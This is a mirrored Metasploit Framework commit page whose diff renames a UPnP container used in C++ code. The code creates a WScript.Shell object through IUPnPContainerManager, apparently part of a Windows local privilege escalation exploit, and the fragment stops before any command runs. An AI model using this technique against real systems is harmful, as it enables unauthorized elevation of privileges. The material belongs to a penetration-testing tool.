1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Randomize container name

This commit is contained in:
bwatters-r7 2019-12-12 07:48:01 -06:00
parent 0257861c4f
commit 7e05642a1b
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
2 changed files with 2 additions and 2 deletions

View File

@ -31,12 +31,12 @@ int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
HRESULT hr1, hr2 = 0, hr3 = 0, hr4 = 0;
IUPnPContainerManager* ContainerMgr;
hr1 = CoCreateInstance(guidObject, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&ContainerMgr));
hr2 = ContainerMgr->ReferenceContainer((wchar_t*)L"apt69");
hr2 = ContainerMgr->ReferenceContainer((wchar_t*)L"fUUUtb");
CLSID clsid;
CLSIDFromProgID(OLESTR("WScript.Shell"), &clsid);
IWshShell* WshInterface = nullptr;
auto ShellUUID = __uuidof(IWshShell);
hr3 = ContainerMgr->CreateInstance((wchar_t*)L"apt69", &clsid, &ShellUUID, (IUnknown**)&WshInterface);
hr3 = ContainerMgr->CreateInstance((wchar_t*)L"fUUUtb", &clsid, &ShellUUID, (IUnknown**)&WshInterface);
int out;
VARIANT s;